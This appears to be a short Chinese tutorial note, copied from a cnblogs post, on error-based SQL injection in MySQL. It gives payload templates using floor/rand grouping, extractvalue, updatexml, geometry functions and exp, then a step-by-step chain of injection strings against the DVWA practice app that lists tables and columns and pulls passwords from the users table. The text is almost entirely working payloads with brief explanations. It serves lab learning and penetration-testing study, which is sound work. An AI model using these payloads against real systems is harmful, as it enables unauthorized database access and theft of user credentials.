利用将错误信息显示的函数(语句),把注入的结果通过错误信息回显回来
构造payload让信息通过错误提示回显出来
查询信息不回显;盲注太慢
select count(*) from information_schema.tables group by concat((select user()),floor(rand(0)*2))
concat连接字符串
floor取float的整数值
rand取0~1之间随机浮点值
group by根据一个或多个列对结果集进行分组并有排序功能
select extractvalue(1,concat(0x7e,(select user()),0x7e))
select updatexml(1,concat(0x7e,(select user()),0x7e),1)
补充
select * from test where id=1 and geometrycollection((select * from(select * from(select user())a)b));
select * from test where id=1 and multipoint((select * from(select * from(select user())a)b));
select * from test where id=1 and polygon((select * from(select * from(select user())a)b));
select * from test where id=1 and multipolygon((select * from(select * from(select user())a)b));
select * from test where id=1 and linestring((select * from(select * from(select user())a)b));
select * from test where id=1 and multilinestring((select * from(select * from(select user())a)b));
select * from test where id=1 and exp(~(select * from(select user())a));
dvwa
为什么用0x7e?因为0x7e是”~”的十六进制编码,用来分割显示结果,‘#‘同理
报错函数返回信息长度有32位限制,可用substring或substr截取显示
1‘ and (extractvalue(1,concat(0x7e,(select database()),0x7e)))#
1‘ and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=‘dvwa‘),0x7e))#
1‘ and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=‘dvwa‘ and table_name=‘users‘),0x7e))#
1‘ and extractvalue(1,concat(0x7e,substring((select group_concat(column_name) from information_schema.columns where table_schema=‘dvwa‘ and table_name=‘users‘),20,30),0x7e))#
1‘ and (extractvalue(1,concat(0x7e,(select * from (select password from users limit 0,1) as a))))#
1‘ and (extractvalue(1,concat((select * from (select password from users limit 0,1) as a))))#
1‘ and (updatexml(1,concat(‘#‘,(database())),0))#
1‘ and (updatexml(1,concat(‘#‘,(select group_concat(table_name) from information_schema.tables where table_schema=‘dvwa‘)),0))#
1‘ and (updatexml(1,concat(‘#‘,(select group_concat(column_name) from information_schema.columns where table_schema=‘dvwa‘ and table_name=‘users‘)),0))#
1‘ and (updatexml(1,concat(‘#‘,substring((select group_concat(column_name) from information_schema.columns where table_schema=‘dvwa‘ and table_name=‘users‘),20,30)),0))#
1‘ and (updatexml(1,concat(‘#‘,(select * from (select password from users limit 0,1) as a)),0))#
1‘ and (updatexml(1,concat((select * from (select password from users limit 0,1) as a),‘#‘),0))#
原文:https://www.cnblogs.com/Rain99-/p/13226556.html